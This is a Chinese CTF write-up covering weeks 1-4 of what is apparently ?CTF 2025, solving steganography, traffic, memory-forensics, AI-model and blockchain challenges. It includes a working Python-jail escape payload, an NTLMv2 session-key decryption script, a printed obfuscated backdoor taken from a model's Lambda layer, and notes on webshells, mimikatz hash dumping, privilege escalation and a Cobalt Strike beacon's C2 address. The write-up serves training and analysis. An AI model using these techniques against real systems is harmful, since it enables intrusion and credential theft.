WEEK1

MISC

《关于我穿越到CTF的异世界这档事:序》

给了一个base8编码的字符串和一大堆base64的字母表。首先这一堆base64一般是banse64隐写的特征,找个在线网站可以解:

这告诉我们base8的字母表为?CTFmisc,接着写一个脚本解密即可:

import base64
​
s = "Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT====="
alphabet = "?CTFmisc"
map_bits = {ch: format(i,'03b') for i,ch in enumerate(alphabet)}
​
bits = ""
for ch in s:
    if ch == '=': break
    bits += map_bits[ch]
​
raw = bytes(int(bits[i:i+8],2) for i in range(0, len(bits)//8*8, 8))
print(raw)
flag = base64.b64decode(raw).decode()
print(flag)

俱乐部之旅(1) - 邀请函

打开zip,发现备注:

经典的掩码,使用azpr爆破密码:

解压出一个docx,发现页眉有一行字,给他粘贴出来,内容是重要的内容就应该存在备注中。那么我们查看该文档的属性:

发现了一段二进制,根据标题用cyberchef解码:

找到一半的flag。

docx的本质是一个zip,我们将其解压,发现在word目录下存在一个奇怪的文件:

文件里是一串16进制数据,同样用cyberchef解密即可:

布豪有黑客(一)

HTTP流量,直接文件-到处对象-HTTP把这两个文件提取出来,密码是?CTF2025,解压即可拿到flag:

文化木的侦探委托(一)

解压得到一张PNG图片,010识别发现CRC错误,说明这个文件的宽高被修改了,我们把图片的高更改下让其更大:


使用stegsolve提取这三个通道的RGB信息,找到flag:

维吉尼亚朋友的来信

解压文件,是一个wav文件,听一下你会发现中间明显听感不对,这种情况很有可能是频谱被修改了,我们用AU看一下:

KEY{deepsound},deepsound是一个音频隐写工具,利用该工具找到wav的隐写信息:

将得到的内容解维吉尼亚,key是deepsound,找到flag:

FORENSICS

取证第一次

题目描述在日志里找找问题,可以先锁定/var/log路径,找到了flag:

WEEK2

MISC

《关于我穿越到CTF的异世界这档事:破》

读note.txt提示suid提权,看下suid:

有个editnote,dump下来看一下:

调用的是execlp,很好,这里注意不能直接利用这个可执行文件调用sh脚本,因为setuid二进制通过shebang脚本去执行外部代码时,内核会丢弃特权,导致提权失败,这里需要写入一个c并编译来调用:

最后读取/tmp/flag.txt即可:

俱乐部之旅(2) - 我邮件呢??

下载流量包,发现走的是SMTP,那么直接解开这个对应的base64就可以拿到一个zip:

获取到zip以后,发现加密算法+压缩方法是ZipCrypto Store,可以直接对png明文爆破:


这样我们就可以查看图片了:

以这个hash作为密码解开zip中的另一个txt文件,拿到flag。

布豪有黑客(二)

又是流量包,这次基本是HTTP流量。跟踪文件上传,发现上传了一个冰蝎马:

接下来去解密流量包的内容(base64+AES CBC),最后发现比较关键的是这个:


这里用了3DES + salt加密了flag,openssl解密:

即可获得flag。

[Week2] 文化木的侦探委托(二)

给了一个图片,提示:

提示盲水印,一般盲水印需要2个图片。观察PNG结构发现明显异常:

最后一个chunk明显大小不对,单独提取出来构成一个png,把剩下的内容作为一个png,进行盲水印提取:

得到flag:

[Week2] 破碎的拼图

根据hint.txt,使用steghide,密码?CTF读取出最后一个分卷:

然后把三个分卷的名字改一下即可:

FORENSICS

你也喜欢win7吗

内存取证,直接读Desktop有什么,发现flag.zip和hint.txt。zip有密码,hint告诉我们桌面画图泄露了密码。

那就dump一个mem文件下来,然后按照描述的分辨率去gimp拉一下就可以了:

密码114ezmisc514

WEEK3

MISC

《关于我穿越到CTF的异世界这档事:Q》

打游戏就行,6部分base64拼接后解码就是flag了。

俱乐部之旅(3) - 与时间对话

txt明显存在零宽字符:

解零宽隐写,注意选择正确的零宽字符:

t1me的md5值就是压缩包密码。解压后拿到一个.git目录,可以利用这个目录复原出一些文件,操作如下:

这样dora文件就被解压出来了,010发现文件头不对,修复一下:

把这个gif导入ps,查看时间线就可以发现问题了:

从最后往前,每一帧的持续时间转ascii就是flag了。

布豪有黑客(三)

经典SMB去解密NTMLv2,首先找关键信息:

然后根据username::domain:ntlmv2_response.chall:ntproofstr:不包含ntproofstr的ntlmv2_response值的格式构造hash:

rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

hashcat爆破:

构造sk:

from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC
​
password = 'poohkitty13'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'rockyou'
domain = 'C3NGH--DESKTOP'
ntProofStr = 'e20402e8a924e2de7c1e3fd3f949bc38'
serverChallenge = '91e15fed933eff0c'
sessionKey = '55d34fb498993a0aceaa960eea8ab7e9'
​
responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

sessionid每个包都有,注意大小端序:

解密后提取SMB文件就可以看到flag了。

文化木的侦探委托(三)

7zip直接一把梭(:

解压出来打开就是flag。

forensics

爱茂TV

Q1:机主使用的用户名

hajimi:

Q2:机主用户信息中隐藏的 Flag(按原样提交获取到的内容)

在/etc/passwd中:

Q3: 机主最近自行安装字体的家族名称

.bash_history中发现安装字体的过程:

使用fc-scan查看家族名称:

Q4:机主使用的 FTP 传输工具(全小写不含扩展名)

文档下有个filezilla相关文件:

Q5:机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码

相关文件在~/.config/filezilla下,找到recentservers.xml就可以发现ip和密码了:

Q6:机主对外通信使用的邮箱地址

firefox的formhistory.sqlite中可以发现邮箱为praxoppogrebro-5874@yopmail.net

Q7:"加速器安装程序"的 MD5 值(全小写)

加速器安装程序就在桌面,导出后计算md5即可:

Q8:"加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。

把安装程序底下那一大堆base64按照base64 -d | gunzip的顺序可以解到一个tar:

接着发现有一个rescue目录,有一个特别大的ls文件:

直接扔虚拟机跑一下发现是fscan:

因此改名后是ls,改名前是fscan。

Q9:"加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面

一眼顶针:

Q10:Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?

第一个问题一眼顶针:

第二个问题直接翻了/usr/bin,发现shell只有dash和sh。

AI

browser-mcp

这是一个使用了SSE传输机制的MCP,具体可以参考这篇博客:

https://blog.csdn.net/a82514921/article/details/147860541

解题流程如下:

首先访问/sse,拿到session:

接着初始化:

初始化结束后查看工具列表:

工具列表可以看出这是一个浏览器,那么根据以上内容进行启动服务、新建页面、url导航、读取页面内容四步:

等下交个flag先

执行pre.py,发现其他的预测值都是8,但是第31个直接报错:

报错说存在Lambda不能直接预测,那我们提取一下这个部分:

import h5py
import json
​
def find_lambda_layer_info(file_path):
    """专门查找Lambda层信息"""
    with h5py.File(file_path, 'r') as f:
        # 获取模型配置
        if 'model_config' in f.attrs:
            model_config = json.loads(f.attrs['model_config'])
            
            print("=== 查找Lambda层 ===")
            def find_layers(config, path=""):
                if isinstance(config, dict):
                    if config.get('class_name') == 'Lambda':
                        print(f"找到Lambda层: {path}")
                        print(f"完整配置: {json.dumps(config, indent=2)}")
                        return config
                    for key, value in config.items():
                        find_layers(value, f"{path}.{key}" if path else key)
                elif isinstance(config, list):
                    for i, item in enumerate(config):
                        find_layers(item, f"{path}[{i}]")
            
            find_layers(model_config)
​
# 使用
model_path = "models/model_epoch_31.h5"
find_lambda_layer_info(model_path)

有一大段的base64,解一下发现是marshal字节码,加载一下:

import base64
import marshal
import dis
​
def decode_python_bytecode(encoded_string):
    try:
        decoded_bytes = base64.b64decode(encoded_string)
        
        try:
            code_obj = marshal.loads(decoded_bytes)
            if hasattr(code_obj, 'co_code'):
                dis.dis(code_obj)
            return code_obj
​
        except Exception as e:
            print(f"Marshal加载失败: {e}")
        return decoded_bytes
        
    except Exception as e:
        print(f"解码失败: {e}")
        return None
​
encoded_function = "4wEAAAAAAAAAAAAAAAUAAAADAAAA86IAAACXAHQBAAAAAAAAAAAAAHQDAAAAAAAAAAAAAGQBpgEA..."  # 完整base64字符串
result = decode_python_bytecode(encoded_function)

又有一大段base64,再解码是一段混淆代码:

from re import T
​
​
def lIlIlI():
    IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
    lIIIll = "🚨 Injected Code Triggered Successfully"
    IIlIlI = "🏴•☠️ Backdoor Activated... Exfiltrating Data"
    print(IlIlII)
    print(lIIIll)
    print(IIlIlI)
def IIllIl(IllIll, lIllII):
    def IIlIIl(lIllll, IIllll, llIIII=32):
        lIllIl, IllIIl = lIllll[0], lIllll[1]
        lIlIIl = 0
        IIlIll = 0x9E3779B9
        for _ in range(llIIII):
            lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
            lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
            IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
        return [lIllIl, IllIIl]
    llIlll = (8 - len(IllIll) % 8) % 8
    IllIll += '\0' * llIlll
    IIlIII = []
    for llIlII in range(0, len(IllIll), 8):
        llIlIl = IllIll[llIlII:llIlII+8]
        IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
        IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
        IIlIII.append([IIIlll, IIlIlll])
    IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
    return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
def lllIIl(llIlIlI, IIlIllI):
    def llIIIl(llIIIlI, lllIII, IIllllI=32):
        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
        IlllIll = 0x9E3779B9
        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
        for _ in range(IIllllI):
            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
        return [llIllII, IllIllI]
    lIIIlI = []
    for lIlIIlI in range(0, len(llIlIlI), 16):
        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
        lIIIlI.append([lIIlllI, lIlIllI])
    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
    return lIlllIl.rstrip(b'\0').decode()
def IlIlIl():
    lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
    lIIIllI = "dhcowjqnckssqdqm"
    lIlIl = lllIIl(lIIlI, lIIIllI)
    return True
def IlllI():
    llllI = __import__('socket')
    IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
    IlIIl.settimeout(1)
    IlIIl.connect(("8.8.8.8", 53))
def lIIIlll():
    IlIlIl()
    lIlIlI()
    IlllI()
lIIIlll()

这里是个恶意代码,我们只需要提取出解密逻辑解出flag即可:

def lllIIl(llIlIlI, IIlIllI):
    """TEA解密算法"""
    def llIIIl(llIIIlI, lllIII, IIllllI=32):
        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
        IlllIll = 0x9E3779B9
        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
        for _ in range(IIllllI):
            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
        return [llIllII, IllIllI]
    
    lIIIlI = []
    for lIlIIlI in range(0, len(llIlIlI), 16):
        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
        lIIIlI.append([lIIlllI, lIlIllI])
    
    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
    return lIlllIl.rstrip(b'\0').decode()
​
# 解密flag
encrypted_flag = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
key = "dhcowjqnckssqdqm"
​
flag = lllIIl(encrypted_flag, key)
print(f"Flag: {flag}")

运行后得到flag:

WEEK4

BLOCKCHAIN

本周的签到

确实是签到题。先看合约:

经典签到。先执行1拿一个部署账号,向1转账,然后执行2部署合约。

但是这题secret要自己找,这个也简单,private 只限制其他合约直接访问,但链上数据是公开的。我们可以通过分析存储布局来读取 secret

剩下的就简单了,执行setMessage即可:

MISC

《关于我穿越到CTF的异世界这档事:终》

pyjail,先看下限制条件:

#!/usr/bin/env python3
import re
​
def prime_check(n: int) -> bool:
    if n < 2:
        return False
    for i in range(2, n):
        if n % i == 0:
            return False
    return True
​
ALLOWED = "abcdefghij0klmnopqrstuvwxyz:_.[]()<=,'"
print("Welcome to the Null Jail.想出去吗?你得先告诉我口令")
user_src = input("Tell me the Password: ")
filtered = ''.join(ch for ch in user_src if ch in ALLOWED)
​
print(filtered)
​
if (
    len(filtered) > 150
    or not filtered.isascii()
    or "eta" in filtered
    or filtered.count("(") > 3
):
    print("没这么长,我看你是一点不懂哦")
    raise SystemExit
​
for m in re.finditer(r"\w+", filtered):
    if not prime_check(len(m.group(0))):
        print("这家伙在说什么呢。")
        raise SystemExit
​
eval(filtered, {'__builtins__': {}})

只能使用小写字母、数字0、以及:_.[]()<=,'这些符号,并且长度要小于150,全部为ascii字符,不能有eta,括号在3个以内,全部连续的字母、数字、下划线的长度均为质数。

这题明显是参考了jailCTF的primal题目,先看一下那题的wp:

br"".__reduce_ex__(0x5)[0x0].__globals__["__bui""ltins__"]["__imp""ort__"]("pdb").run("")

这里稍微修改了下以满足条件:

[].__reduce_ex__(0xa)[0x0].__globals__['__bui''ltins__']['__imp''ort__']('pdb').run('')

进入pdb后拿flag:

俱乐部之旅(4) - 彩蛋

给了个mkv,内嵌字幕有东西,提取:

写个脚本提取一下数据:

def extract_and_concatenate_srt(srt_file_path, output_file_path=None):
    result = []
    
    with open(srt_file_path, 'r', encoding='utf-8') as file:
        lines = file.readlines()
    
    i = 0
    while i < len(lines):
        line = lines[i].strip()
        
        if line.isdigit():
            i += 2
            if i < len(lines):
                content_line = lines[i].strip()
                i += 2
                if content_line:
                    result.append(content_line)
        else:
            i += 1
    
    concatenated_text = ''.join(result)
    
    if output_file_path:
        with open(output_file_path, 'w', encoding='utf-8') as output_file:
            output_file.write(concatenated_text)
    
    return concatenated_text

if __name__ == "__main__":
    srt_file = "我把彩蛋弄丢了_track3_[und].srt"
    output_file = "output.txt"
    
    try:
        result = extract_and_concatenate_srt(srt_file, output_file)
        print("拼接结果:")
        print(result)
        print(f"\n结果已保存到: {output_file}")
    except FileNotFoundError:
        print(f"错误: 找不到文件 {srt_file}")
    except Exception as e:
        print(f"处理文件时出错: {e}")

一眼是一个倒过来的zip的hex,处理一下:

解压出来一个神秘game文件夹,有个pkl,和一大堆data,疯狂拷打llm吐一个读取内容的脚本:

import torch
import pickle
import os

def load_and_analyze_dict(pkl_path, data_dir='data'):
    """加载并分析字典"""
    def persistent_load(saved_id):
        if len(saved_id) >= 5 and saved_id[0] == 'storage':
            key = saved_id[2]
            storage_class = saved_id[1]
            size = saved_id[4]
            
            data_file = os.path.join(data_dir, key)
            if storage_class == torch.FloatStorage:
                return torch.FloatStorage.from_file(data_file, shared=False, size=size)
            elif storage_class == torch.LongStorage:
                return torch.LongStorage.from_file(data_file, shared=False, size=size)
            else:
                return torch.FloatStorage.from_file(data_file, shared=False, size=size)
    
    with open(pkl_path, 'rb') as f:
        unpickler = pickle.Unpickler(f)
        unpickler.persistent_load = persistent_load
        model_dict = unpickler.load()
    
    return model_dict

def analyze_dict_for_flag(model_dict):
    """在字典中搜索flag"""
    print("=== 分析字典内容 ===")
    print(f"字典长度: {len(model_dict)}")
    print(f"字典键: {list(model_dict.keys())}")
    
    flag_candidates = []
    
    for key, value in model_dict.items():
        print(f"\n--- 键: {key} ---")
        print(f"值类型: {type(value)}")
        
        # 如果是tensor
        if isinstance(value, torch.Tensor):
            print(f"Tensor形状: {value.shape}")
            print(f"Tensor dtype: {value.dtype}")
            print(f"Tensor值: {value}")
            
            # 尝试从tensor中提取flag
            flag_candidates.extend(extract_flag_from_tensor(value, key))
        
        # 如果是字符串
        elif isinstance(value, str):
            print(f"字符串值: {value}")
            if 'flag' in value.lower() or 'ctf' in value.lower():
                flag_candidates.append(value)
        
        # 如果是数字
        elif isinstance(value, (int, float)):
            print(f"数值: {value}")
            # 尝试将数字解释为ASCII
            if 32 <= value < 127:
                print(f"  可能ASCII: {chr(int(value))}")
        
        # 如果是列表或元组
        elif isinstance(value, (list, tuple)):
            print(f"序列长度: {len(value)}")
            print(f"序列内容: {value}")
            # 检查序列中的字符串
            for item in value:
                if isinstance(item, str) and ('flag' in item.lower() or 'ctf' in item.lower()):
                    flag_candidates.append(item)
    
    return flag_candidates

def extract_flag_from_tensor(tensor, key_name):
    """从tensor中提取可能的flag"""
    candidates = []
    
    # 展平tensor以便分析
    flat_tensor = tensor.flatten()
    
    print(f"分析tensor {key_name}:")
    print(f"  元素数量: {flat_tensor.numel()}")
    print(f"  数据类型: {tensor.dtype}")
    
    # 方法1: 直接查看小tensor
    if flat_tensor.numel() < 100:
        print(f"  原始值: {flat_tensor}")
    
    # 方法2: 尝试整数解释
    if tensor.dtype in [torch.int32, torch.int64, torch.int16, torch.int8]:
        try:
            int_values = [int(x) for x in flat_tensor]
            # 检查是否都是可打印ASCII
            if all(32 <= x < 127 for x in int_values):
                ascii_str = ''.join(chr(x) for x in int_values)
                print(f"  ASCII字符串: {ascii_str}")
                if 'flag' in ascii_str.lower():
                    candidates.append(ascii_str)
                    print(f"  🎯 发现flag候选: {ascii_str}")
        except:
            pass
    
    # 方法3: 尝试浮点数解释
    elif tensor.dtype in [torch.float32, torch.float64]:
        # 检查浮点数是否接近整数值(可能是编码的ASCII)
        int_like = []
        for val in flat_tensor:
            int_val = round(float(val))
            if abs(val - int_val) < 0.001 and 32 <= int_val < 127:
                int_like.append(int_val)
        
        if len(int_like) == flat_tensor.numel():
            ascii_str = ''.join(chr(x) for x in int_like)
            print(f"  浮点转ASCII: {ascii_str}")
            if 'flag' in ascii_str.lower():
                candidates.append(ascii_str)
                print(f"  🎯 发现flag候选: {ascii_str}")
    
    # 方法4: 字节表示分析
    try:
        byte_data = tensor.numpy().tobytes()
        # 查找flag模式
        if b'flag{' in byte_data:
            start = byte_data.find(b'flag{')
            end = byte_data.find(b'}', start) + 1
            if end > start:
                flag = byte_data[start:end].decode('ascii', errors='ignore')
                candidates.append(flag)
                print(f"  🎯 在字节中发现flag: {flag}")
    except:
        pass
    
    return candidates

# 主分析函数
def main():
    try:
        model_dict = load_and_analyze_dict('data.pkl', 'data')
        print("✓ 字典加载成功")
        
        flag_candidates = analyze_dict_for_flag(model_dict)
        
        print(f"\n{'='*50}")
        print("=== FLAG候选列表 ===")
        for i, candidate in enumerate(flag_candidates, 1):
            print(f"{i}. {candidate}")
        
        if not flag_candidates:
            print("❌ 未找到明显的flag,尝试深度分析...")
            deep_analyze_dict(model_dict)
            
    except Exception as e:
        print(f"错误: {e}")
        import traceback
        traceback.print_exc()

def deep_analyze_dict(model_dict):
    """深度分析字典"""
    print("\n=== 深度分析 ===")
    
    # 检查所有值的类型分布
    type_count = {}
    for key, value in model_dict.items():
        t = type(value).__name__
        type_count[t] = type_count.get(t, 0) + 1
    
    print(f"值类型分布: {type_count}")
    
    # 特别关注字符串和tensor
    for key, value in model_dict.items():
        if isinstance(value, torch.Tensor):
            # 尝试不同的解释方法
            tensor = value
            if tensor.numel() < 1000:  # 只分析小tensor
                print(f"\n深度分析 {key}:")
                
                # 尝试多种数据类型转换
                for target_dtype in [torch.int32, torch.int64, torch.float32]:
                    try:
                        converted = tensor.to(target_dtype).flatten()
                        # 如果值在ASCII范围内
                        if (converted >= 32).all() and (converted < 127).all():
                            ascii_str = ''.join(chr(int(x)) for x in converted)
                            print(f"  作为{target_dtype}的ASCII: {ascii_str}")
                    except:
                        pass

if __name__ == "__main__":
    main()

关键信息:

得到flag:

布豪有黑客(四)

熟练的miscer要能手撕盲注日志,反正注意时间盲注的时间决定正确与否就行:

文化木的侦探委托(四)

这种题管你这那的,直接梭:

# recover.py
import numpy as np
import matplotlib.pyplot as plt
import wave
import struct
import os

# --------- 配置区(按需修改文件名与采样率) -----------
PASSWORD_FILE = "password"   # 你的 blocks_file_sink 写出的文件(password...?)
MAG_FILE      = "mag"            # mag 文件名(blocks_file_sink_1)
PHASE_FILE    = "phase"          # phase 文件名(blocks_file_sink_2)
SAMPLE_RATE   = 44100            # 流图里的 samp_rate
OUT_DIR       = "recovery_out"
# --------------------------------------------------------

os.makedirs(OUT_DIR, exist_ok=True)

def read_raw_floats(path, dtype=np.float32, swap=False):
    with open(path, "rb") as f:
        data = f.read()
    arr = np.frombuffer(data, dtype=dtype)
    if swap:
        arr = arr.byteswap().newbyteorder()
    return arr

def float_array_to_wav(arr, outpath, sr=SAMPLE_RATE):
    # 归一化到 int16
    a = np.array(arr, dtype=np.float64)
    if np.all(a == 0):
        print("warning: all zeros in array")
    # 删掉 nan/inf
    a = np.nan_to_num(a)
    # 归一化
    maxv = np.max(np.abs(a)) if np.max(np.abs(a)) != 0 else 1.0
    a = a / maxv
    a16 = (a * 32767).astype(np.int16)
    with wave.open(outpath, "wb") as w:
        w.setnchannels(1)
        w.setsampwidth(2)
        w.setframerate(sr)
        w.writeframes(a16.tobytes())
    print("WAV saved:", outpath)

def plot_spectrogram(arr, outpath, sr=SAMPLE_RATE, nfft=2048, hop=None):
    if hop is None:
        hop = nfft // 4
    plt.figure(figsize=(12,6))
    plt.specgram(arr, NFFT=nfft, Fs=sr, noverlap=nfft-hop, scale='dB')
    plt.xlabel("Time (s)")
    plt.ylabel("Frequency (Hz)")
    plt.colorbar(label='dB')
    plt.tight_layout()
    plt.savefig(outpath, dpi=150)
    plt.close()
    print("Spectrogram saved:", outpath)

# ------------- 尝试把 password_file 作为 float32/float64 (小端/大端) -------------
def try_password_conversions(path):
    tries = []
    for dtype in [np.float32, np.float64]:
        for swap in [False, True]:
            try:
                arr = read_raw_floats(path, dtype=dtype, swap=swap)
                if arr.size == 0:
                    continue
                # 尝试乘回流图中看到的常数(blocks_multiply_const_vxx const=2.5)
                arr_scaled = arr / 2.5
                out_wav = os.path.join(OUT_DIR, f"password_from_{os.path.basename(path)}_{dtype.__name__}_{'swap' if swap else 'noswap'}.wav")
                float_array_to_wav(arr_scaled, out_wav)
                spec = os.path.join(OUT_DIR, f"spectrogram_password_{dtype.__name__}_{'swap' if swap else 'noswap'}.png")
                plot_spectrogram(arr_scaled, spec)
                tries.append((dtype, swap, out_wav, spec))
            except Exception as e:
                print("failed try:", dtype, swap, e)
    return tries

# ------------- 从 mag + phase 重建复数并导出 -------------
def try_reconstruct_magphase(mag_path, phase_path):
    results = []
    for dtype in [np.float32, np.float64]:
        for swap in [False, True]:
            try:
                mag = read_raw_floats(mag_path, dtype=dtype, swap=swap)
                phase = read_raw_floats(phase_path, dtype=dtype, swap=swap)
                if mag.size == 0 or phase.size == 0:
                    continue
                # 长度对齐(取最小)
                L = min(mag.size, phase.size)
                mag = mag[:L]
                phase = phase[:L]
                # 重建复数
                complex_sig = mag * np.exp(1j * phase)
                real_sig = np.real(complex_sig)
                # 归一化并保存 wav
                out_wav = os.path.join(OUT_DIR, f"recon_from_magphase_{dtype.__name__}_{'swap' if swap else 'noswap'}.wav")
                float_array_to_wav(real_sig, out_wav)
                # 也保存 spectrogram
                spec = os.path.join(OUT_DIR, f"spectrogram_recon_{dtype.__name__}_{'swap' if swap else 'noswap'}.png")
                plot_spectrogram(real_sig, spec)
                results.append((dtype, swap, out_wav, spec))
            except Exception as e:
                print("failed reconstruct:", dtype, swap, e)
    return results

if __name__ == "__main__":
    # 1) password file 直接试
    if os.path.exists(PASSWORD_FILE):
        print("Trying password file conversions...")
        pw_tries = try_password_conversions(PASSWORD_FILE)
        print("password tries:", len(pw_tries))
    else:
        print("password file not found:", PASSWORD_FILE)

    # 2) mag+phase 重建
    if os.path.exists(MAG_FILE) and os.path.exists(PHASE_FILE):
        print("Trying mag+phase reconstruction...")
        recon = try_reconstruct_magphase(MAG_FILE, PHASE_FILE)
        print("recon tries:", len(recon))
    else:
        print("mag/phase files not found:", MAG_FILE, PHASE_FILE)

    print("Done. 检查", OUT_DIR, "目录下生成的 WAV 与 spectrogram 图片。")

其中解出来的password_from_password_float32_noswap.wav是电话按键声,直接用dtmf2num工具解出flag的压缩包密码即可:

FORENSICS

安卓服务?安卓人?

Q1:攻击事件发生在外网(WAN)还是内网(LAN)?并指出被攻击机器在网络的IP

找到网络服务,发现一个反弹shell的php文件:

那显然这是一个内网攻击事件,被攻击机器在网络的ip如图所示。

Q2:网页服务器连接使用的用户、密码与数据库名称

网页源码处于桌面上,数据库信息在python-server的main.py中:

Q3:Web服务于受攻击时段启动与关闭的时间

/var/log/httpd翻日志,在error_log中发现启动与关闭的时间:

所以时间应该是从20:00:08-22:31:11

Q4:攻击者利用最多的 WebShell 文件名与连接密码

查看access_log:

显然是gift.php,连接密码显然是chenfeng。

Q5:攻击者未能获得后端源码的原因是权限不对,找出攻击者试图访问时使用的用户名与未能访问目录的权限

通过查看/etc/passwd基本可以确定用户名是http:

后端代码在桌面,那么看/home下面的权限:

权限是700

Q6:对数据库做出破坏的攻击者IP与可能执行的SQL语句

发现在/home/chenfeng/Desktop下有一个console,里面有几个神秘ip:

这两个ip一个在这框框扫,一个经常报错。接着在Documents下发现一个日志,最后一天提到这个内容:

结合sponsorship报错不存在该表,猜测执行了删除数据表的指令,最后答案是192.168.119.1#drop table sponsorship

Q7:扣除可能的欠款后,澄峰的收入与支出总和(一个有符号数)

把整个数据库/var/lib/mysql给dump下来,docker拉一个相同版本的环境,把dump下来的内容导入进去:

查看预算表,直接计算一下总和:

但是这里不对,发现前面提到的日记的内容:

所以查看留言:

多报了1000块,所以答案为-56552

Q8:数据库现存内容中的flag

也在留言页中:

Q9:除去赞助收入,澄峰的第一大收入来源与数额

直接按照来源计算全部收入和即可:

Q10:澄峰崩溃至极,使用了工具来深度删除文件,他使用了什么命令实现这一点

.bash_history

就是这句。

布豪有黑客 Pro

Q1:攻击者在Web服务中新增的用户名是什么

访问nacos/v1/auth/users?pageNo=1&pageSize=9就可以看到除了默认用户nacos以外的用户了:

Q2:攻击者通过数据库获取的权限是什么

nacos未授权访问:

登录后发现数据库账密:

连接后执行命令:

Q3:攻击者使用的提权工具md5值是什么

关掉虚拟机,FTK读取虚拟机磁盘,把SAM和SYSTEM注册表提出来,mimikazt提取hash:

发现账户C4ngH$,hash可以被爆破:

登录到虚拟机,翻了下文件发现了一个Potato提权文件:

计算其MD5即可:

Q4:攻击者留下的系统后门用户用户名是什么

如上一题所示,是C4ngH$

Q5:攻击者留下的木马本体的完整路径及文件名是什么

apps路径下有个WindowsBackup1.bin,看一眼:

一眼顶针cs木马,路径就是E:\apps\WindowsBackup.bin

Q6:攻击者留下木马的回连IP和Port是什么

ida打开这个bin文件看汇编,ip一眼顶针,注意小端序:

端口在这里:

983A0002h 在内存中的字节序:02 00 3A 98,其中3A 98 是端口号的网络字节序。

结果为117.72.220.129:15000

Q7:攻击者权限维持过程中留下的敏感信息是什么

火绒计划任务:

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐